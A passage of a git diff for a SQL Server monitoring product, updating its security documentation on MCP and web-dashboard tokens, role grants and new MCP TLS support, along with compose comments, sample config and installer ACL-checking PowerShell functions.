 **What a token-holder can — and cannot — do.** Start with the boundary: **no MCP tool runs SQL an AI client wrote against your monitored servers.** No such tool exists, and a stored custom view cannot become one either — a composed query names only `collect.*` collector tables in the monitoring store. The only live contact with a monitored SQL Server is `analyze_server`'s plan fetch and `add_servers`' one-time connection probe, and both run the product's own fixed, read-only queries under the same least-privilege monitoring login the collectors use — the ceiling on what they can see is the ceiling you granted that login, and it has no write grants to hit. Everything else answers from the monitoring store.
 
 What the token does gate is the monitor's own configuration and collected data: the entire read surface, `analyze_server`, the Custom Views tools (create / modify / delete the saved dashboards and notebooks in `config.custom_views`), the alert-tuning tools (`update_alert_settings` / `create_mute_rule` / `update_mute_rule` / `delete_mute_rule` / `set_mute_rule_enabled`), and the server-onboarding tools (`add_servers` / `remove_server`), which edit the monitored-server registry in `config.config_monitored_servers` — including storing a SQL-auth credential for a server they add. On a managed store and on the compose store, the store-side identity is still the least-privilege `mcp` role: read, the two analysis-table INSERTs, INSERT/UPDATE/DELETE on the single `config.custom_views` table (the same narrow write the web composer's `viewer` role has), the narrow alert-config writes (`config.config_mute_rules` CRUD + a single-row `config.config_alert_settings` UPDATE + a single-column `config.config_notification` UPDATE for the delivery cooldown, plus the `config_service` reload-beacon columns), and the single-table `config.config_monitored_servers` CRUD. So a token-holder can read everything collected, trigger analysis, author custom views, tune alerting, and onboard/offboard servers — and can never reach the `config_command` service-credential pivot, the carved secret columns (SMTP/webhook credentials, and the monitored-server `encrypted_password` blob it can WRITE during onboarding but never READ back, all included), or a service flag like `paused`. Custom-view JSON and alert config carry no secrets. Guard the token like the keys to your monitoring configuration — that is what it opens; your SQL Servers are not behind it. **On any other bring-your-own store the MCP server's store identity is whatever `postgres.mcpConnectionString` names** — the `mcp` role `provision-roles.sql` creates holds exactly the grants above — **and with that setting unset it is the store OWNER**: every limit in this paragraph is then the tools' own behaviour and none of it is enforced by the store, so a token-holder's reach is bounded only by what the tools do, not by what the login could ([#3914](https://github.com/erikdarlingdata/PerformanceMonitor/issues/3914)). The service warns at every start while that is the case.
 
-**`add_servers` carries a credential in its request.** A SQL-auth `password` rides the request JSON; the service DPAPI-encrypts it at rest and never returns it, but on the wire it is only as protected as the endpoint — the same plaintext HTTP the token rides. On a segment you do not fully trust, front the MCP port with the TLS reverse proxy below, and prefer Windows/integrated auth for onboarded servers where you can — then no per-server secret crosses the wire at all.
+**`add_servers` carries a credential in its request.** A SQL-auth `password` rides the request JSON; the service DPAPI-encrypts it at rest and never returns it, but on the wire it is only as protected as the endpoint — the same plaintext HTTP the token rides unless `mcp.network.tls` is set. On a segment you do not fully trust, set `mcp.network.tls` or front the MCP port with a TLS reverse proxy, and prefer Windows/integrated auth for onboarded servers where you can — then no per-server secret crosses the wire at all.
 
-**MCP has no TLS — the MITM control is a TLS reverse proxy.** A self-signed cert breaks real MCP clients, so the MCP endpoint is plain HTTP and the bearer token travels **cleartext on the segment**; an active on-path attacker (ARP spoof, rogue DHCP, compromised switch) could capture and replay it. The in-app CIDR bounds *who can route to* the port; it does **not** protect the wire. If your segment is not fully trusted, put a **TLS-terminating reverse proxy** in front of the MCP port and point clients at that — the named MITM control for this endpoint. (The store endpoint needs no such proxy: it has verify-full TLS built in.)
+If your segment is not fully trusted, serve MCP over HTTPS with `mcp.network.tls` (see above). You can also put a TLS-terminating reverse proxy in front of the MCP port and point clients at that. The in-app CIDR bounds *who can route to* the port, but it does not protect the wire. Without TLS the bearer token travels in clear text on the segment. An active on-path attacker (ARP spoof, rogue DHCP, compromised switch) can capture and replay it. The store endpoint needs neither: it has verify-full TLS built in.
 
 **Output format (GCF).** By default the MCP tools return JSON. Setting `DARLING_OUTPUT_FORMAT=gcf` makes the server return [Graph Compact Format](https://gcformat.com) instead: the repeated field names of the record arrays these tools return (blocking pairs, wait stats, index bloat, config rows, …) are factored into a single header and the indentation dropped. The saving is payload-shaped: about a quarter across a mixed real workload, more than half on the most uniform tools, and less on text-dominated ones (multi-line query text, plan or deadlock XML) where the field names are a smaller share of the bytes. In the wire a null field is written as `-` and an absent field (a key some rows omit) as `~`. It is opt-in and conservative: applied per result, and only when the GCF wire is both smaller than the JSON and decodes back to it exactly; a result carrying a number GCF cannot represent exactly (a non-integer beyond double precision) stays JSON, as does any result where the wire would be larger, so no result is ever grown, dropped, or garbled. `BlackwellSystems.Gcf` is a zero-dependency package.
 
@@ -1554,13 +1812,15 @@ Add a `network` block to `web` (managed mode, or the compose container; `web.ena
 }
 ```
 
-When `listen` is a network address **and** a token is present **and** `allowFrom` is a valid CIDR, the web host binds that interface behind two gates: an **in-app CIDR check** on the remote address and an **access token**. A browser presents the token ONCE via `?token=` (open `http://192.168.1.205:5153/`, then paste it into the minimal login form, or append `?token=...` directly); the host validates it constant-time, sets an **HMAC-signed, HttpOnly, SameSite=Strict session cookie**, and 302-redirects to strip the token from the URL so it never lingers in history or a Referer header. Subsequent requests ride the cookie. **Loopback is exempt from the CIDR check only** — while the dashboard is exposed, a request from the box itself still has to present the token or a valid cookie. It used to pass tokenless on the grounds that the surface was read-only; the Custom Views composer's create / update / delete and `/api/compose/run` ended that, so in exposed mode the token *is* the loopback guard against SSRF and sandboxed local sockets ([#1649](https://github.com/erikdarlingdata/PerformanceMonitor/issues/1649)). A dashboard with **no** `network` block registers no auth middleware at all and stays genuinely tokenless. An out-of-CIDR request is refused with **403**, cookie or no cookie; an in-CIDR request with no credential gets the login form back as a **200**, not a 401. The cookie signing key is per-process, so a service restart invalidates open sessions (just re-present the token). Prefer `encryptedToken` (a DPAPI blob from `--encrypt-password`); a plaintext `token` works for dev but is warned. Set the same scoped firewall rule for the web port:
+When `listen` is a network address **and** a token is present **and** `allowFrom` is a valid CIDR list, the web host binds that interface behind two gates: an **in-app CIDR check** on the remote address and an **access token**. A browser presents the token ONCE via `?token=` (open `http://192.168.1.205:5153/`, then paste it into the minimal login form, or append `?token=...` directly); the host validates it constant-time, sets an **HMAC-signed, HttpOnly, SameSite=Strict session cookie**, and 302-redirects to strip the token from the URL so it never lingers in history or a Referer header. Subsequent requests ride the cookie. **Loopback is exempt from the CIDR check only** — while the dashboard is exposed, a request from the box itself still has to present the token or a valid cookie. It used to pass tokenless on the grounds that the surface was read-only; the Custom Views composer's create / update / delete and `/api/compose/run` ended that, so in exposed mode the token *is* the loopback guard against SSRF and sandboxed local sockets ([#1649](https://github.com/erikdarlingdata/PerformanceMonitor/issues/1649)). A dashboard with **no** token configured registers no auth middleware at all and stays genuinely tokenless; a `token` / `encryptedToken` with no network `listen` keeps it loopback-only and puts the same token gate on it, and a token that cannot be decrypted stops the dashboard from starting rather than serving it open. An out-of-CIDR request is refused with **403**, cookie or no cookie; an in-CIDR request with no credential gets the login form back as a **200**, not a 401. The cookie signing key is per-process, so a service restart invalidates open sessions (just re-present the token). Prefer `encryptedToken` (a DPAPI blob from `--encrypt-password`); a plaintext `token` works for dev but is warned. Set the same scoped firewall rule for the web port:
 
 ```
 New-NetFirewallRule -DisplayName "Darling Web" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 5153 -RemoteAddress 192.168.1.0/24
 ```
 
-**What a web token can reach.** On a managed store and on the compose store the web dashboard connects as the least-privilege `viewer` role (on any other bring-your-own store, see the end of this paragraph), and it hosts no live-server queries (no `analyze_server`, no plan re-execution) — read-only over the collected data, with a small, enumerated set of **config-plane write routes**, each a narrow single-table grant at the store and each refused to a read-only OIDC seat by the host's method-based write gate: the Custom Views composer (`/api/views` + `/api/compose/run` → `config.custom_views`), the custom alert rules (`/api/alerts` → `config.custom_alert_rules`, [#3285](https://github.com/erikdarlingdata/PerformanceMonitor/issues/3285)), and the mute-rule endpoints (`/api/mute-rules` — create, partial update with explicit-null clears, enable/disable, delete — → `config.config_mute_rules`, [#3450](https://github.com/erikdarlingdata/PerformanceMonitor/issues/3450)); the mute writes run the SAME cores the MCP verbs run, so `created_at_utc` — the clock the Stale Mute Rules self-alert ages a rule from — never moves through any of them, and every response reports the rule as stored. One operational caveat rides every mute-rule surface: alert rows can spell `server_name` two ways (the monitor's own self-alert family uses the display-short name, engine alerts use the registry name), so scope a rule by copying the spelling off the alert rows being muted — a retyped name can leave the rule in force while matching nothing. (The `viewer` role holds one further narrow grant — INSERT/UPDATE/DELETE on `config.database_state_expected`, for the Viewer's per-database state-override editor ([#1986](https://github.com/erikdarlingdata/PerformanceMonitor/issues/1986)) — which no web route reaches; the WPF Viewer's own surfaces gate on a `has_table_privilege` read-only probe against the alert-dismiss write, which a `viewer`-role seat still fails, so a locked-down Viewer stays read-only in its UI despite these grants.) So a token-holder can read everything collected, author saved views and alert rules, and tune the mute rules — and reach no monitored server — but those writes are why an exposed dashboard authenticates loopback too, exactly as MCP does. **On any other bring-your-own store the dashboard connects as whatever `postgres.webConnectionString` names** — the `viewer` role `provision-roles.sql` creates holds exactly these grants, secret-column carve and `statement_timeout` included — **and with that setting unset it connects as the store OWNER**: the routes above still bound what a token-holder can ask for, but the store no longer enforces any of it — no carve, no narrow write grants, no backstop on a runaway composed query ([#3914](https://github.com/erikdarlingdata/PerformanceMonitor/issues/3914)). The service warns at every start while that is the case.
+`web.network.allowFrom` takes one range or a comma list in the same way as `mcp.network.allowFrom` (see the MCP section above).
+
+**What a web token can reach.** On a managed store and on the compose store the web dashboard connects as the least-privilege `viewer` role (on any other bring-your-own store, see the end of this paragraph), and it hosts no live-server queries (no `analyze_server`, no plan re-execution) — read-only over the collected data, with a small, enumerated set of **config-plane write routes**, each a narrow single-table grant at the store and each refused to a read-only OIDC seat by the host's method-based write gate: the Custom Views composer (`/api/views` + `/api/compose/run` → `config.custom_views`), the custom alert rules (`/api/alerts` → `config.custom_alert_rules`, [#3285](https://github.com/erikdarlingdata/PerformanceMonitor/issues/3285)), and the mute-rule endpoints (`/api/mute-rules` — create, partial update with explicit-null clears, enable/disable, delete — → `config.config_mute_rules`, [#3450](https://github.com/erikdarlingdata/PerformanceMonitor/issues/3450)), and alert-history dismiss (`/api/alert-history/dismiss` → the single `dismissed` column of `config.config_alert_log`, through a column-level `UPDATE (dismissed)` grant, [#4843](https://github.com/erikdarlingdata/PerformanceMonitor/issues/4843)), and server onboarding (`POST /api/servers` runs the same `add_servers` core the MCP tool runs — at most 20 servers per request, one add at a time, the password never echoed or logged — through `INSERT` on `config.config_monitored_servers`, whose `encrypted_password` column stays unreadable to the role, [#4843](https://github.com/erikdarlingdata/PerformanceMonitor/issues/4843)); the mute writes run the SAME cores the MCP verbs run, so `created_at_utc` — the clock the Stale Mute Rules self-alert ages a rule from — never moves through any of them, and every response reports the rule as stored. One operational caveat rides every mute-rule surface: alert rows can spell `server_name` two ways (the monitor's own self-alert family uses the display-short name, engine alerts use the registry name), so scope a rule by copying the spelling off the alert rows being muted — a retyped name can leave the rule in force while matching nothing. (The `viewer` role holds one further narrow grant — INSERT/UPDATE/DELETE on `config.database_state_expected`, for the Viewer's per-database state-override editor ([#1986](https://github.com/erikdarlingdata/PerformanceMonitor/issues/1986)) — which no web route reaches; the WPF Viewer's own surfaces gate on a `has_table_privilege` read-only probe against the alert-dismiss write, which a `viewer`-role seat still fails, so a locked-down Viewer stays read-only in its UI despite these grants.) So a token-holder can read everything collected, author saved views and alert rules, and tune the mute rules — and reach no monitored server — but those writes are why an exposed dashboard authenticates loopback too, exactly as MCP does. **On any other bring-your-own store the dashboard connects as whatever `postgres.webConnectionString` names** — the `viewer` role `provision-roles.sql` creates holds exactly these grants, secret-column carve and `statement_timeout` included — **and with that setting unset it connects as the store OWNER**: the routes above still bound what a token-holder can ask for, but the store no longer enforces any of it — no carve, no narrow write grants, no backstop on a runaway composed query ([#3914](https://github.com/erikdarlingdata/PerformanceMonitor/issues/3914)). The service warns at every start while that is the case.
 
 **The web dashboard can serve HTTPS itself ([#2562](https://github.com/erikdarlingdata/PerformanceMonitor/issues/2562)).** Without it the token and the session cookie it mints travel cleartext on the segment, and the in-app CIDR bounds *who can route to* the port without protecting the wire — so an exposed dashboard with no `tls` block warns about exactly that at every start. Add a certificate to `web.network`:
 
@@ -1579,4 +1839,4 @@ New-NetFirewallRule -DisplayName "Darling Web" -Direction Inbound -Action Allow
 
 Give **one** form, never both — a PKCS#12 bundle or a PEM pair — and the password may sit in `encryptedPfxPassword` (DPAPI), in `pfxPassword` as a `file:`/`env:` reference, or nowhere at all if the bundle is unprotected. TLS applies to the **network listener only**: the loopback listeners stay plain HTTP, because your certificate names the LAN address and not `localhost`, and loopback traffic never reaches the segment this protects. There is no redirect-from-HTTP, because one port cannot speak both schemes and adding a second HTTP port would reopen the cleartext surface; a plain-HTTP client simply fails the handshake.
 
-The product **consumes** a certificate and does not manage a PKI — no ACME, and deliberately no self-signed fallback, which would buy encryption without authentication and train you to click through the warning. An internal CA is the normal answer on a LAN. Loading **fails closed**: a certificate that is missing, unreadable, ambiguous, or **expired** keeps the dashboard loopback-only with a Critical log line rather than quietly serving the LAN over HTTP — and because an expired certificate takes the dashboard down, the service warns for the last 30 days before that happens. A TLS-terminating reverse proxy in front of the port remains a perfectly good alternative, and is still the only control for MCP, which has no TLS of its own.
+The product **consumes** a certificate and does not manage a PKI — no ACME, and deliberately no self-signed fallback, which would buy encryption without authentication and train you to click through the warning. An internal CA is the normal answer on a LAN. Loading **fails closed**: a certificate that is missing, unreadable, ambiguous, or **expired** keeps the dashboard loopback-only (the token is still required on that loopback listener) with a Critical log line rather than quietly serving the LAN over HTTP — and because an expired certificate takes the dashboard down, the service warns for the last 30 days before that happens. A TLS-terminating reverse proxy in front of the port remains a perfectly good alternative. MCP has its own `tls` block, described in the MCP section above.
diff --git a/Darling/compose/darling.sample.json b/Darling/compose/darling.sample.json
index 5e2d743467..678ab27853 100644
--- a/Darling/compose/darling.sample.json
+++ b/Darling/compose/darling.sample.json
@@ -28,6 +28,7 @@
     "enabled": false,
     "port": 5152,
     "network": {
+      "// tls": "Without this the bearer token above and every tool result cross the network in the clear, and allowFrom 0.0.0.0/0 bounds nothing. To enable: mount a PEM pair as the mcp_tls_cert / mcp_tls_key secrets (see docker-compose.yml) and add \"tls\": { \"certPath\": \"/run/secrets/mcp_tls_cert\", \"keyPath\": \"/run/secrets/mcp_tls_key\" } here, and \"hostName\": \"<the DNS name on the certificate>\" so clients can connect by that name. With a 0.0.0.0 listen the one listener then serves HTTPS, so local clients use https too. A bad or expired certificate keeps MCP loopback-only rather than falling back to HTTP, which in a container means unreachable — that is the intended failure.",
       "listen": "0.0.0.0",
       "allowFrom": "0.0.0.0/0",
       "token": "file:/run/secrets/mcp_token"
diff --git a/Darling/compose/docker-compose.yml b/Darling/compose/docker-compose.yml
index 3aa9af8b50..e37d54a75c 100644
--- a/Darling/compose/docker-compose.yml
+++ b/Darling/compose/docker-compose.yml
@@ -6,7 +6,7 @@
 #   1. cp darling.sample.json darling.json           # then edit: servers, tokens, alerting
 #   2. echo 'YourSqlPassword' > secrets/sql_password.txt   # one file per secret; see `secrets:` below
 #   3. docker compose up -d
-#   4. web dashboard: http://<host>:5153  ·  MCP: http://<host>:5152 (bearer token)
+#   4. web dashboard: http://<host>:5153  ·  MCP: http://<host>:5152 (bearer token; https with mcp.network.tls)
 #
 # Secrets never land in darling.json: the config references them (env:NAME / file:/path — #1804 stage 1),
 # and compose delivers them as env vars or mounted secret files. The web/MCP network blocks are honored
@@ -87,9 +87,10 @@ services:
       retries: 12
 
   darling:
-    # The published image; substitute a version tag for something pinned, or build from a checkout:
+    # The newest release image (#5629: not :nightly, which is the newest dev build). Substitute a version tag
+    # for something pinned, or build from a checkout:
     #   build: { context: ../.., dockerfile: Darling/Dockerfile }
-    image: ghcr.io/erikdarlingdata/performancemonitor-darling:nightly
+    image: ghcr.io/erikdarlingdata/performancemonitor-darling:latest
     restart: unless-stopped
     depends_on:
       store:
@@ -111,6 +112,18 @@ services:
       # been planted, so it removes them all and logs an error); keep the volume owner-only. Without the volume a
       # recreated container generates a new one. A new key gives every log event stored after it a new identity
       # (one repeat of each entry still in the log tail, and new fingerprints).
+      # #5366: it also holds password-key, the service's key for the SQL login passwords saved in the store.
+      # Passwords are sealed to its public half, which the store publishes. Only the service can open them.
+      # Back this volume up after the first start and again after every --reset-password-key.
+      # Keep that backup apart from the store's backups.
+      # A store restored without this volume cannot open its saved passwords.
+      # The service reports the key as missing until you restore the volume.
+      # Or run --reset-password-key and enter the passwords again.
+      # The service log has a 'Password key' line with the key's fingerprint at each start.
+      # The Viewer shows the same fingerprint the first time it saves a password to the store.
+      # If the key may have been copied, run --reset-password-key and restart the service.
+      # Then change the SQL logins' passwords and delete password-key.retired from the volume.
+      # Update every Viewer that saves passwords to this store: an older one does not know the key.
       # Run ONE darling service per credentials volume: no `--scale`, and on Kubernetes one replica with
       # `strategy: Recreate`. The start's check of this directory is not locked across processes, so a second
       # service starting beside the first could read planted files between the first one's chmod and its removal.
@@ -127,9 +140,14 @@ services:
       # session cookie cross the network in the clear.
       # - web_tls_cert
       # - web_tls_key
+      # The same for MCP (#5288): uncomment with the `secrets:` entries at the bottom, then point
+      # mcp.network.tls at these paths in darling.json (and set mcp.network.hostName to the name on the
+      # certificate). Without them the MCP bearer token and every tool result cross the network in the clear.
+      # - mcp_tls_cert
+      # - mcp_tls_key
     ports:
       - "5153:5153"   # web dashboard (token → cookie gate; plain HTTP unless web.network.tls is set)
-      - "5152:5152"   # MCP (bearer token)
+      - "5152:5152"   # MCP (bearer token; plain HTTP unless mcp.network.tls is set)
     # #4733: reports unhealthy once a startup failure has stopped collection for good. The process stays up after
     # such a failure on purpose (exiting would restart a plain config error in a loop), so without this the
     # container shows as running although it never collects. `restart: unless-stopped` does not act on health,
@@ -163,3 +181,8 @@ secrets:
   #   file: ./secrets/web_tls_cert.pem
   # web_tls_key:
   #   file: ./secrets/web_tls_key.pem
+  # HTTPS for MCP (#5288) — uncomment together with the `secrets:` list above.
+  # mcp_tls_cert:
+  #   file: ./secrets/mcp_tls_cert.pem
+  # mcp_tls_key:
+  #   file: ./secrets/mcp_tls_key.pem
diff --git a/Darling/compose/secrets/README.md b/Darling/compose/secrets/README.md
index 5171650e7f..a288f548c9 100644
--- a/Darling/compose/secrets/README.md
+++ b/Darling/compose/secrets/README.md
@@ -8,4 +8,6 @@ One secret per file, no trailing content beyond the value (a trailing newline is
 
 Nothing here for the store's least-privilege `admin`/`viewer`/`mcp` roles: the service provisions them on the compose store itself and generates their passwords into the `darling-credentials` volume ([#3914](https://github.com/erikdarlingdata/PerformanceMonitor/issues/3914)). The `store_connection` login must be the store's bootstrap superuser (`POSTGRES_USER`, `darling` as shipped) for that to happen.
 
+Nor is the password key kept here. It is the key for the SQL login passwords saved in the store. The service makes it on first start and keeps it as `password-key` in the same `darling-credentials` volume ([#5366](https://github.com/erikdarlingdata/PerformanceMonitor/issues/5366)). Back that volume up after the first start and after every `--reset-password-key`, and keep the backup apart from the store's backups. If the key may have been copied, reset it, change the SQL logins' passwords, and delete `password-key.retired` from the volume.
+
 Keep this directory out of version control and readable only by the deploying user (`chmod 700 secrets`, `chmod 600 secrets/*`).
diff --git a/Darling/tools/fetch-pg-runtime.ps1 b/Darling/tools/fetch-pg-runtime.ps1
index c4f0b96286..af572b4a63 100644
--- a/Darling/tools/fetch-pg-runtime.ps1
+++ b/Darling/tools/fetch-pg-runtime.ps1
@@ -263,6 +263,8 @@ $requiredFiles = @(
     'bin\vcruntime140_1.dll',
     'bin\msvcp140.dll',
     'lib\timescaledb.dll',
+    'lib\pg_stat_statements.dll',
+    'lib\auto_explain.dll',
     "lib\timescaledb-$tsVersion.dll",
     "lib\timescaledb-tsl-$tsVersion.dll",
     'share\extension\timescaledb.control',
diff --git a/Darling/tools/install-darling.ps1 b/Darling/tools/install-darling.ps1
index 687eb076e4..07e8fce4ab 100644
--- a/Darling/tools/install-darling.ps1
+++ b/Darling/tools/install-darling.ps1
@@ -24,10 +24,12 @@ C:\Program Files\PerformanceMonitorDarling). What it does, in order:
   1b2. Locks the install folder against ordinary users before anything runs from it (#4034): a folder made
      directly under C:\ otherwise lets any local user replace the service's binaries. Extract into a fresh
      folder and run this straight away; no lock can undo a file swapped before it.
-  1c. REFUSES an install when the ASP.NET Core Runtime 10 is missing, and WARNS when the .NET Desktop
-     Runtime 10 is (#2479). Both shipped binaries are framework-dependent; a stock Windows Server image
-     has neither runtime, and the failure is the .NET host's own "You must install .NET" error with
-     nothing of ours on it. Part of the pre-flight, so -SkipPreflight skips it.
+  1c. REFUSES an install when the base .NET Runtime 10 (Microsoft.NETCore.App) or the ASP.NET Core
+     Runtime 10 is missing, and WARNS when the .NET Desktop Runtime 10 is (#2479, #5407). Both shipped
+     binaries are framework-dependent; a stock Windows Server image has none of these runtimes, and the
+     failure is the .NET host's own "You must install .NET" error with nothing of ours on it. The
+     standalone ASP.NET Core Runtime installer does not include the base runtime; the Hosting Bundle
+     does. Part of the pre-flight, so -SkipPreflight skips it.
   2. Optional pre-flight: runs `--test-connection` and shows the per-server PASS/FAIL lines
      (continue-or-abort prompt on failure; -SkipPreflight to skip).
   3. Registers the Windows Event Log source 'PerformanceMonitor Darling' (requires elevation -
@@ -40,8 +42,9 @@ C:\Program Files\PerformanceMonitorDarling). What it does, in order:
   4b. Restricts darling.json to SYSTEM / Administrators / the service account, plus read for
      INTERACTIVE (the Viewer). It holds encrypted SQL passwords and the MCP/web access tokens,
      and an install folder under C:\ otherwise inherits read access for BUILTIN\Users.
-  4b2. Grants the service account Modify on the locked install folder, which it needs to extract its
-     bundled PostgreSQL there, and re-verifies the lock.
+  4b2. Grants the service account read and execute on the locked install folder, and Modify only on the
+     runtime folders it writes (pg-runtime and pg-runtime-prev, plus darling-keys with your own PostgreSQL),
+     where it extracts its bundled PostgreSQL and keeps its keys, and re-verifies the lock.
   4c. Creates (or removes) the scoped Windows Firewall rules to match darling.json, via the exe's
      --configure-firewall verb. This requires elevation, which is why it lives here: the service's
      own unprivileged account cannot create them, and only verifies them at runtime.
@@ -137,7 +140,15 @@ function Fail([string]$message) { Write-Host "ERROR: $message" -ForegroundColor
 # holds WRITE_DAC and WRITE_OWNER implicitly and can grant itself anything regardless of what the DACL
 # currently says, the same fact Lock-DarlingInstallTree's own post-lock walk already acts on ("owned by").
 # So the owner is checked directly here too, rather than trying to read that ACE.
-function Get-UntrustedWriteGrantees([string]$path, [array]$trusted, [switch]$Recurse) {
+#
+# -ServiceSids (#5627) are the service's own accounts (Get-DarlingServiceSids). They are trusted as owner and as
+# a write grantee only in the folders and files the service writes (Test-DarlingServiceWrittenPath, one list
+# shared with Lock-DarlingInstallTree; -ServiceDirectories are the extra folders Get-DarlingExtraServiceWriteDirectories
+# returns for it). Everywhere else in the tree, $path itself included, they are named like
+# any other account: the lock gives the service read and execute on $path, so a write right there is not one
+# the lock put there. A caller that passes none (a source build, which the service never writes to) trusts
+# them nowhere.
+function Get-UntrustedWriteGrantees([string]$path, [array]$trusted, [switch]$Recurse, [array]$serviceSids = @(), [array]$serviceDirectories = @()) {
     $rights = [System.Security.AccessControl.FileSystemRights]
     $allow = [System.Security.AccessControl.AccessControlType]::Allow
     $sidType = [System.Security.Principal.SecurityIdentifier]
@@ -152,14 +163,20 @@ function Get-UntrustedWriteGrantees([string]$path, [array]$trusted, [switch]$Rec
     function Get-DarlingOneObjectWriteFindings([string]$itemPath, [bool]$includeInherited) {
         try { $acl = Get-Acl -LiteralPath $itemPath -ErrorAction Stop }
         catch { return @("$itemPath (its permissions could not be read: $($_.Exception.Message))") }
+        $ownerTrusted = $trusted
+        $granteeTrusted = $trusted
+        if (@($serviceSids).Count -gt 0) {
+            if (Test-DarlingServiceWrittenPath $path $itemPath $serviceDirectories) { $ownerTrusted = @($trusted) + @($serviceSids); $granteeTrusted = $ownerTrusted }
+        }
         $bad = @($acl.GetAccessRules($true, $includeInherited, $sidType) | Where-Object {
-            $_.AccessControlType -eq $allow -and (([int64]$_.FileSystemRights) -band $write) -ne 0 -and $trusted -notcontains $_.IdentityReference -and $inheritOnlyTemplates -notcontains $_.IdentityReference })
+            $_.AccessControlType -eq $allow -and (([int64]$_.FileSystemRights) -band $write) -ne 0 -and $granteeTrusted -notcontains $_.IdentityReference -and $inheritOnlyTemplates -notcontains $_.IdentityReference })
         $result = @($bad | ForEach-Object {
-            $name = try { $_.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $_.IdentityReference.Value }
+            $grantee = $_.IdentityReference
+            $name = try { $grantee.Translate([System.Security.Principal.NTAccount]).Value } catch { $grantee.Value }
             "$name on $itemPath"
         })
         $owner = $acl.GetOwner($sidType)
-        if ($trusted -notcontains $owner) {
+        if ($ownerTrusted -notcontains $owner) {
             $name = try { $owner.Translate([System.Security.Principal.NTAccount]).Value } catch { $owner.Value }
             $result += "$itemPath (owned by $name)"
         }
@@ -234,22 +251,60 @@ function Resolve-DarlingServiceAccountSid([string]$account) {
     catch { return $null }
 }
 
+# The folders and files the service itself writes inside the install root. ONE list, read by Lock-DarlingInstallTree
+# (what it creates, grants and keeps the service's ownership of) and by the pre-lock walk (where the service's own
+# account is trusted as owner and as a write grantee), so the two cannot drift apart. Directories are always
+# created and granted; KeyDirectories only on a bring-your-own PostgreSQL install (Get-DarlingExtraServiceWriteDirectories
+# returns them, and only then are they on the list). Files are matched by exact name in the install root only: darling.json,
+# and its backups, which the config-editing verbs name darling.json.bak-yyyyMMdd-HHmmss with an optional -N counter
+# (BackupPattern). Kept byte-identical in install-darling.ps1 and upgrade-darling.ps1.
+function Get-DarlingServiceWrittenNames {
+    return [pscustomobject]@{
+        Directories    = @('pg-runtime', 'pg-runtime-prev')
+        KeyDirectories = @('darling-keys')
+        Files          = @('darling.json')
+        BackupPattern  = '^darling\.json\.bak-[0-9]{8}-[0-9]{6}(-[0-9]+)?$'
+    }
+}
+
+# True when a file NAME is one of the root files on the list above.
+function Test-DarlingServiceWrittenFileName([string]$name) {
+    $names = Get-DarlingServiceWrittenNames
+    foreach ($file in @($names.Files)) {
+        if ($name -ieq $file) { return $true }
+    }
+    return [bool]($name -match $names.BackupPattern)
+}
+
+# True when $candidate is a folder on the list above inside $root (or anything below it), or one of the listed
+# files directly in $root. $extraDirectories are the key folders Get-DarlingExtraServiceWriteDirectories returns
+# for this install, the same ones the lock is handed. The FIRST name below $root is compared exactly, and a name
+# Windows would fold into another ('pg-runtime.', a '..' step) matches nothing. The install root itself and every
+# other file or folder in it are not on the list.
+function Test-DarlingServiceWrittenPath([string]$root, [string]$candidate, [string[]]$extraDirectories = @()) {
+    try { $rootText = [IO.Path]::GetFullPath($root).TrimEnd('\') }
+    catch { return $false }
+    if (-not $candidate.StartsWith($rootText + '\', [StringComparison]::OrdinalIgnoreCase)) { return $false }
+    $segments = @($candidate.Substring($rootText.Length + 1).TrimEnd('\') -split '\\')
+    foreach ($segment in $segments) {
+        if ($segment -eq '' -or $segment -eq '.' -or $segment -eq '..' -or $segment.EndsWith('.') -or $segment.EndsWith(' ')) { return $false }
+    }
+    $names = Get-DarlingServiceWrittenNames
+    foreach ($directory in (@($names.Directories) + @($extraDirectories | Where-Object { $_ }))) {
+        if ($segments[0] -ieq $directory) { return $true }
+    }
+    return [bool]($segments.Count -eq 1 -and (Test-DarlingServiceWrittenFileName $segments[0]))
+}
+
 # The trusted set for Get-UntrustedWriteGrantees BEFORE a service account exists to add to it (#4043):
 # SYSTEM, Administrators, TrustedInstaller, whoever is running this script elevated right now, and every
 # direct member of BUILTIN\Administrators (round-1 review, M2) - a folder the installing admin's own account
 # owns and can write to, or one a DIFFERENT administrator's account owns, is exactly what a normal
 # extraction looks like, not a finding. Kept as its own function because install-darling.ps1 and
-# upgrade-darling.ps1 both need it and must agree on it.
-#
-# $existingServiceAccount adds one more, when the caller has one: the CURRENT logon account of an
-# ALREADY-REGISTERED Darling service (round-1 review, #4043). A re-run of install-darling.ps1 over a tree
-# #4038 already locked - a repair, or this script used as its own upgrade path - is not a fresh extraction:
-# the lock already granted that account Modify on $root, and without this, the very first re-run or repair
-# over an already-locked install would refuse itself over the grant #4038 itself made. Resolved through
-# Resolve-DarlingServiceAccountSid; a name that will not translate is left out rather than thrown on here -
-# see Get-DarlingPreLockTrustedSidsForRerun for the caller that refuses instead of silently dropping it
-# (L4). The base set still applies either way.
-function Get-DarlingPreLockTrustedSids([string]$existingServiceAccount) {
+# upgrade-darling.ps1 both need it and must agree on it. This is the whole set for a folder the service never
+# writes to (a source build), and the base set for the install folder, where Get-DarlingServiceSids adds the
+# service's own account for the folders on the Get-DarlingServiceWrittenNames list.
+function Get-DarlingPreLockTrustedSids {
     $wk = [System.Security.Principal.WellKnownSidType]
     $sidType = [System.Security.Principal.SecurityIdentifier]
     $trusted = @(
@@ -257,16 +312,49 @@ function Get-DarlingPreLockTrustedSids([string]$existingServiceAccount) {
         (New-Object System.Security.Principal.SecurityIdentifier($wk::BuiltinAdministratorsSid, $null)),
         (New-Object System.Security.Principal.NTAccount('NT SERVICE\TrustedInstaller')).Translate($sidType),
         [Security.Principal.WindowsIdentity]::GetCurrent().User)
-    if ($existingServiceAccount) {
-        $serviceSid = Resolve-DarlingServiceAccountSid $existingServiceAccount
-        if ($serviceSid) { $trusted += $serviceSid }
-    }
     $adminMembers = Get-LocalAdministratorsDirectMemberSids
     if ($adminMembers) { $trusted += $adminMembers }
     return $trusted
 }
 
-# The pre-lock trusted set for a RE-RUN over a possibly-already-registered service, failing closed with a
+# The accounts the service runs as, for Get-UntrustedWriteGrantees -ServiceSids (#5627): the SID this product's
+# own service gets, 'NT SERVICE\<serviceName>', whether or not that service is registered right now and whatever
+# account it logs on as today, plus $existingServiceAccount, the CURRENT logon account of an ALREADY-REGISTERED
+# service, when the caller has one (round-1 review, #4043). A re-run of install-darling.ps1 over a tree #4038
